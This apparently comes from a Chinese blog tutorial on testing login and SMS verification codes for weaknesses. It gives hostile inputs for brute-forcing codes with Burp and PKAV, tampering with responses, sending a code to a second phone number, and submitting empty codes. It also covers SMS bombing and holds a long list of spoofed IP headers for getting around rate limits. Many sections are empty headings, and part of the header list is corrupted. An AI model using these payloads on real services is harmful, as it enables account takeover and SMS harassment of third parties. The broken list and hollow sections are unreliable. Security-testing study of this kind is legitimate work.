2.登录验证码安全
验证码漏洞检测流程
2.1 图形验证码
无效验证
2.1.1 验证码可爆破
验证码可爆破,即验证码过于简单,例如验证码中字符数量过少,比如只有四位组成,且只包含 0-9 的数字还没有干扰点 ,亦或者 验证码可以被猜测到(这种情况很少见) 可以使用 PKAV 来进行带验证码的爆破,先用 burpsuite 来抓包,再将抓取的数据包放 在 pkav 里,pkav攻击操作如下:使用PKav HTTP Fuzzer 爆破带验证码的网站_pkav下载-CSDN博客
2.1.2 验证码复用
验证码复用,即登录失败后验证码不刷新,仍然可以使用上一次登录时的验证码且有效,存在爆破风险漏洞,如织梦后台的验证码, 测试方法如下,抓包后输入对的验证码后,反复发送查看回包
可以看到,没有出现验证码错误,出现的是用户名不存在,那么这里还出现一个点,用户名爆破,只要输入账号错误和密码错误回显不一样,就可以算成用户名可爆破漏洞
2.1.3验证码绕过
验证码绕过,即验证码可以通过逻辑漏洞被绕过,通常分为以下情况
1) 验证码验证返回状态值
可BP修改状态值来绕过前端的验证,修改密码页面中存在验证码绕过漏洞:
2) 点击获取验证码时,直接在返回包中返回验证码,通过抓包的来观察 reponse 包
在发送的时候拦截回包,然后发送
2.2.2客户端验证
通过查看源代码发现验证码是前端验证码,可以通过直接抓包的方式在 bp里边爆破,参考pikachu-bf_client.php
两种方法:其中一种,直接删除该验证码元素,直接可以验证账号或者密码
把验证码的元素直接去掉即可
未弹出验证码错误,可以看到账号密码错误,验证码无用
2.2.3 验证码前端验证漏洞
如下,某网站存在一个链接 http://1XX.XX.XX.XX:9080/setup 访问这个重置链接,点击修改管理员密码 ,可以重置密码,但是我们 不知道旧密码是多少,只能输入新密码
随便输入后,查看回包
修改回包,将验证码错误的标识修改成True
2.2 短信验证码
漏洞介绍
验证码是我们经常使用的登录,注册,找回密码,领取优惠,修改信息,等地方存在的,验证码一般是4位,6位等
关于短信验证码一般存在如下的漏洞:
1、验证码爆破
2、验证码回显
3、验证码与手机未绑定认证关系
4、修改返回包绕过验证码
5、验证码转发
6、任意验证码登录
7、验证码为空登录
8、固定验证码登录
9、验证码轰炸
短信验证码爆破
一般在破解验证码的时候注意不要造成破坏,爆破太多容易出现问题
![](https://i-blog.csdnimg.cn/direct/1402dd7b891f4fd98885ad9f45be02bd.png)
挖洞操作:
![](https://i-blog.csdnimg.cn/direct/cfca3e41ffb74191829120951bae228c.png)
2、将验证码的地方勾选住,进行破解
3、选择字典进行爆破,填写相应的内容
挖洞技巧:
验证码回显漏洞
验证码回显,是指验证码在发送的时候会存在数据包中,通过观察回显的数据包中的数据,找到验证码
挖洞操作
挖洞技巧:
验证码与手机未绑定认证关系
漏洞案例:
漏洞操作:
![](https://i-blog.csdnimg.cn/direct/651a973f5fb6429387c3309fd7a758b8.png)
挖洞技巧:
修改返回包绕过验证码
挖洞操作:
挖洞技巧:
验证码转发漏洞
漏洞案例:
挖洞操作:
挖洞技巧:
type=1&phone=188888888,19999999
type=1&phone=188888888,19999999
phone=19386963121
phone=19999999
无效验证任意验证码登录
下面用一个案例进行举例说明: 获取短信验证码后,随意输入验证码,直接输入两次密码,可成功更改用户密码,没有对短信验证码进行验证。
漏洞案例:漏洞操作:
![](https://i-blog.csdnimg.cn/direct/c6f7f3f208b846c18cd4e3b17c2d7302.png)
挖洞技巧:
验证码为空登录
漏洞操作:
<div class="blockcode"><blockquote>null
-1
-1000
1.1
[]
ture success
空
或者删除一些cookie中的字段 等等多多尝试
固定验证码登录
挖洞操作:
手机短信轰炸
短信轰炸是手机验证码漏洞中最常见的一种漏洞类型。在测试的过程中,对短信验证码接口进行重放,导致大量发送恶意短信。 有两种情况,一种是完全没限制发短信的频率,另外一种是每 60 秒发一条短信。
情况一:没有限制时,任意下发短信时。直接放到 Intruder中即可。
情况二:有一定时间间隔,无限下发。
每隔 60 秒可下发一条短信,无限下发,短信轰炸。
在测试过程中,可通过编写 Python 脚本来计算短信下发时间间隔,实现短信轰炸。python脚本的编写可以参考上文
漏洞案例:1、利用空格绕过短信条数限制
2、修改cookie值绕过短信次数
3、利用接口标记绕过短信限制
4、修改IP绕过短信
-
X-Custom-IP-Authorization: localhost X-Custom-IP-Authorization: localhost:80 X-Custom-IP-Authorization: localhost:443 X-Custom-IP-Authorization: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1:80 X-Custom-IP-Authorization: 127.0.0.1:443 X-Custom-IP-Authorization: 2130706433 X-Custom-IP-Authorization: 0x7F000001 X-Custom-IP-Authorization: 0177.0000.0000.0001 X-Custom-IP-Authorization: 0 X-Custom-IP-Authorization: 127.1 X-Custom-IP-Authorization: 10.0.0.0 X-Custom-IP-Authorization: 10.0.0.1 X-Custom-IP-Authorization: 172.16.0.0 X-Custom-IP-Authorization: 172.16.0.1 X-Custom-IP-Authorization: 192.168.1.0 X-Custom-IP-Authorization: 192.168.1.1 X-Forwarded-For: localhost X-Forwarded-For: localhost:80 X-Forwarded-For: localhost:443 X-Forwarded-For: 127.0.0.1 X-Forwarded-For: 127.0.0.1:80 X-Forwarded-For: 127.0.0.1:443 X-Forwarded-For: 2130706433 X-Forwarded-For: 0x7F000001 X-Forwarded-For: 0177.0000.0000.0001 X-Forwarded-For: 0 X-Forwarded-For: 127.1 X-Forwarded-For: 10.0.0.0 X-Forwarded-For: 10.0.0.1 X-Forwarded-For: 172.16.0.0 X-Forwarded-For: 172.16.0.1 X-Forwarded-For: 192.168.1.0 X-Forwarded-For: 192.168.1.1 X-Forward-For: localhost X-Forward-For: localhost:80 X-Forward-For: localhost:443 X-Forward-For: 127.0.0.1 X-Forward-For: 127.0.0.1:80 X-Forward-For: 127.0.0.1:443 X-Forward-For: 2130706433 X-Forward-For: 0x7F000001 X-Forward-For: 0177.0000.0000.0001 X-Forward-For: 0 X-Forward-For: 127.1 X-Forward-For: 10.0.0.0 X-Forward-For: 10.0.0.1 X-Forward-For: 172.16.0.0 X-Forward-For: 172.16.0.1 X-Forward-For: 192.168.1.0 X-Forward-For: 192.168.1.1 X-Remote-IP: localhost X-Remote-IP: localhost:80 X-Remote-IP: localhost:443 X-Remote-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1:80 X-Remote-IP: 127.0.0.1:443 X-Remote-IP: 2130706433 X-Remote-IP: 0x7F000001 X-Remote-IP: 0177.0000.0000.0001 X-Remote-IP: 0 X-Remote-IP: 127.1 X-Remote-IP: 10.0.0.0 X-Remote-IP: 10.0.0.1 X-Remote-IP: 172.16.0.0 X-Remote-IP: 172.16.0.1 X-Remote-IP: 192.168.1.0 X-Remote-IP: 192.168.1.1 X-Originating-IP: ocalhost X-Originating-IP: ocalhost:80 X-Originating-IP: ocalhost:443 X-Originating-IP: 27.0.0.1 X-Originating-IP: 27.0.0.1:80 X-Originating-IP: 27.0.0.1:443 X-Originating-IP: 130706433 X-Originating-IP: x7F000001 X-Originating-IP: 177.0000.0000.0001 X-Originating-IP: X-Originating-IP: 27.1 X-Originating-IP: 0.0.0.0 X-Originating-IP: 0.0.0.1 X-Originating-IP: 72.16.0.0 X-Originating-IP: 72.16.0.1 X-Originating-IP: 92.168.1.0 X-Originating-IP: 92.168.1.1 X-Remote-Addr: localhost X-Remote-Addr: localhost:80 X-Remote-Addr: localhost:443 X-Remote-Addr: 127.0.0.1 X-Remote-Addr: 127.0.0.1:80 X-Remote-Addr: 127.0.0.1:443 X-Remote-Addr: 2130706433 X-Remote-Addr: 0x7F000001 X-Remote-Addr: 0177.0000.0000.0001 X-Remote-Addr: 0 X-Remote-Addr: 127.1 X-Remote-Addr: 10.0.0.0 X-Remote-Addr: 10.0.0.1 X-Remote-Addr: 172.16.0.0 X-Remote-Addr: 172.16.0.1 X-Remote-Addr: 192.168.1.0 X-Remote-Addr: 192.168.1.1 X-Client-IP: localhost X-Client-IP: localhost:80 X-Client-IP: localhost:443 X-Client-IP: 127.0.0.1 X-Client-IP: 127.0.0.1:80 X-Client-IP: 127.0.0.1:443 X-Client-IP: 2130706433 X-Client-IP: 0x7F000001 X-Client-IP: 0177.0000.0000.0001 X-Client-IP: 0 X-Client-IP: 127.1 X-Client-IP: 10.0.0.0 X-Client-IP: 10.0.0.1 X-Client-IP: 172.16.0.0 X-Client-IP: 172.16.0.1 X-Client-IP: 192.168.1.0 X-Client-IP: 192.168.1.1 X-Real-IP: localhost X-Real-IP: localhost:80 X-Real-IP: localhost:443 X-Real-IP: 127.0.0.1 X-Real-IP: 127.0.0.1:80 X-Real-IP: 127.0.0.1:443 X-Real-IP: 2130706433 X-Real-IP: 0x7F000001 X-Real-IP: 0177.0000.0000.0001 X-Real-IP: 0 X-Real-IP: 127.1 X-Real-IP: 10.0.0.0 X-Real-IP: 10.0.0.1 X-Real-IP: 172.16.0.0 X-Real-IP: 172.16.0.1 X-Real-IP: 192.168.1.0 X-Real-IP: 192.168.1.1
6、+86 或者 086 绕过(区号绕过)
7、改地区代码绕过
8、双写手机号